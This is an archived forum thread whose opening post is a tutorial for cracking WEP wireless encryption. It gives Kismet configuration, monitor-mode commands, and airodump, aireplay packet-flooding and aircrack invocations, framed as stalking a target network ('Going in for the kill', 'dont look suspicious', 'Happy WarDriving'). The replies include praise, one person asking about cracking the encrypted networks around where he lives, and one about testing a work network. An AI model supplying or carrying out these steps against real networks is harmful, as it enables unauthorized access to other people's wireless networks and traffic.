hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

hacking security forums
Full Version: Crack Wep [tutorial]
UmInAsHoE

WEP cracking [In 10mins]




More Cracking WEP GUIDES and Information From GovernmentSecurity.org
Intro:

Ok, this is a tutorial explaining how to crack most WEP encrypted Access Points out there. The tools used will be as follows:

Kismet (any working version)
>= Aireplay 2.2 beta
>= Aircrack 2.1

As for wireless cards, i recommend any Prism , Orinoco , or Atheros based cards (i used the D-Link 650 Rev.1a).


Getting Started:

Let's see, First thing you are going to want to do is charge your lappy to the top (aireplay and aircrack drain the battery quite a bit) Next you are going to want to load up your favourite live CD (i used Whoppix 2.7 final) or Linux OS, then stumble across a encrypted WLAN, use Kismet to do so. Make sure you have configured your kismet .conf file correctly to be able to use your card (locate your kismet.conf file and open with your favourite text editor, i used pico);


CODE
# Sources are defined as:
# source=sourcetype,interface,name[,initialchannel]
# Source types and required drivers are listed in the README
# The initial channel is optional, if hopping is not enabled it can be used
# to set the channel the interface listens on.
# YOU MUST CHANGE THIS TO BE THE SOURCE YOU WANT TO USE
source=orinoco,eth1,kismet
#source=wlanng,wlan0,Prism
#source=kismet_drone,192.168.2.252:3501,kismet_drone


^^ that is an example of part of my kismet.conf, initially that was wrong for me, i had to comment out the first line and uncomment the second (my wireless device name was wlan0, you can find this out by typing 'iwconfig' in a terminal).
Note: To find your cards chipset have a good google on the model number of your card or try checking here http://www.linux-wlan.org/docs/wlan_adapters.html.gz . A full list of supported chipsets can
be found on the Kismet website under Documentation.

Changed kismet.conf:

CODE
# Sources are defined as:
# source=sourcetype,interface,name[,initialchannel]
# Source types and required drivers are listed in the README
# The initial channel is optional, if hopping is not enabled it can be used
# to set the channel the interface listens on.
# YOU MUST CHANGE THIS TO BE THE SOURCE YOU WANT TO USE
#source=orinoco,eth1,kismet
source=wlanng,wlan0,Prism
#source=kismet_drone,192.168.2.252:3501,kismet_drone


Save the changes you make and go back to a terminal and run 'kismet', it should load up if you configd it properly. Once you have got kismet going, have a good stumble around your area, to see if a WLAN has WEP enabled, kismet should have a column near the ESSID titled with 'W' if it has WEP enabled it will have a Y, if not it will be a N.


Going in for the kill:

So now you got a target you are going to make sure you dont look suspicious and you got at least 15mins worth of battery life left Razz. Making sure you know the channel the Access Point is on (under the CH cloumn in kismet) and also the mac address of the Access Point by hiting 's' (to sort) then scrolling to the desired Access Point and then typing 'i' which gives you detailed info on the Access Point selected.

First off you are going to want to set your wireless card to the right mode, depending on what chipset depends on what commands you have got to use:

CODE
If you use madwifi, you may have to place the card in
pure 802.11b mode first:
iwpriv ath0 mode 2

If you use wlan-ng, run
./wlanng.sh start wlan0 <channel> [comes with  AirePlay2.2]

Otherwise run:
iwconfig ath0 mode Monitor channel <channel>
ifconfig ath0 up


Read the AirePlay2.2 readme for more info.
Start by opening up another terminal window and cd into your aircrack directory and launch airodump:
Code:
#./airodump
[version crap]
usage: ./airodump <wifi interface> <output filename> [mac filter]

e.g
./airodump wlan0 linksys

The mac filter is used when you have more than one Access point on the same channel at once, so say you have 'jim_home' and 'linksys' both essid's of access points both on channel 11 you would grab the mac address of of the Access Point in kismet, by hiting 's' (to sort) then scrolling to the desired Access Point and then typing 'i' which gives you detailed info on the Access Point selected. Ok so now you have got a stream of packets from your target, you see the IV column, those are whats known as 'weak key' packets, we want as many of them as we can get (400k+ is a nice number Razz). Now we are going to capture a 'weak key' packet from on the network we are targeting and going to flood the Access Point with it in hope that we get lots of 'weak key' replies sent out so we can eventually crack the password. So now in your other terminal window 'cd' into your aireplay directory and execute aireplay ('./aireplay'[return]):


CODE
capture packets unless interface #1 is specified.
source options:
-i        : capture packet on-the-fly (default)
-r file   : extract packet from this pcap file
filter options:
-b bssid  : MAC address, Access Point
-d dmac   : MAC address, Destination
-s smac   : MAC address, Source
-m len    : minimum packet length, default:  40
-n len    : maximum packet length, default: 512
-u type   : fc, type     - default: 2 = data
-v subt   : fc, subtype  - default: 0 = normal
-t tods   : fc, To   DS bit - default: any
-f fromds : fc, From DS bit - default: any
-w iswep  : fc, WEP     bit - default: 1
-y        : don't ask questions, assume yes
replay options:
-x nbpps  : number of packets per second
-a bssid  : set Access Point MAC address
-c dmac   : set Destination  MAC address
-h smac   : set Source       MAC address
-o fc0    : set frame control[0] (hex)
-p fc1    : set frame control[1] (hex)
-k        : turn chopchop attack on


e.g
./aireplay -b 00:FF:00:FF:00:FF -x 512 wlan0

Here we are going to grab a few packets from the Access Point with the MAC address 00:FF:00:FF:00:FF until we catch a 'weak key' packet which then aireplay will ask you if you want to use to then flood the Access Point with that packet. when it asks you if it can use one of the packets hit 'y' then return. If you flick back to your terminal with airodump running you should see the packets being captured will increase by a huge amount and with that the IV packets should also be increasing pretty damn fast aswell, if all went well in about 10mins you should have enough packets to then dump into aircrack. Ok so you want at least 400k+ IV packets (the more the better), once you got a decent amount hit 'control+c' in both terminal windows to terminate both aireplay and airodump, now 'cd' into your aircrack directory and run aircrack ('./aircrack'[return]):


CODE
aircrack 2.1 - (C) 2004 Christophe Devine
usage: ./aircrack [options] <pcap file> <pcap file> ...
-d <start> : debug - specify beginning of the key
-f <fudge> : bruteforce fudge factor (default: 2)
-m <maddr> : MAC address to filter usable packets
-n <nbits> : WEP key length: 64 / 128 / 256 / 512
-p <nfork> : SMP support: # of processes to start
-q <quiet> : Quiet mode (less print more speed)


e.g
./aircrack -n 128 linksys.cap

what i did there was set aircrack to read my packet file called linksys.cap (what airodump creates) and telling aircrack it was a 128 bit encryption. If all goes well you will get the key in nice red text.

KEY FOUND: [ Pwn3d ]

Happy WarDriving.

(Please reply with any errors in my tutorial)
Aicd
good job man, this is a great tutorial. most of the tutorials i have seen on the top are ehh very prism based card biased. just my 2c. thanks for this great tut ;]




Aicd
IronEagle
thx 4 tutorial itīs very nice i will test it now
belgther
That's nothing new. Look at here:

http://www.governmentsecurity.org/forum/in...topic=14890&hl=
UmInAsHoE
yes thats the whoppix tutorial, i based this one from that (if you read it, it says in the first 5 lines) i am not trying to steal thunder from whoppix. This tutorial expandes and adds detail to it.
murtun
nice one UmI. Like the fact Its explained in text too. Flash tuts sometimes arn't very protable and can miss out more technical detais.

/me adds tut to his achieve smile.gif

belgther: you should read the tutorial before you comment on it tongue.gif

dw-chow
QUOTE(belgther @ Jun 22 2005, 07:32 AM)


these guys are trying to get in as full fledged members. there's no need to always hit the search button and shoot them down. personally, i think it's explained pretty well.
mystic_traveller
I have a laptop loaded with fedora, Kismet and airsnort on, I can find loads of encrypted networks where I live but im thinking is it too late in the day for me to try and have some fun.

i.e. have all the manufacturers fixed the issue with wep. I don't want to be sat outside a building or house trying to crack a wep enabled AP when there is no point.

I have heard that you cannot crack Cisco becuase you can not get more than 96 packets or 'interesting packets'

anyway if anyone can let me know, I would appreciate it.
castor00
we got some wifi network @ work ... thanx sharing that tuto, it's gonna be usefull to check it they are secure
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.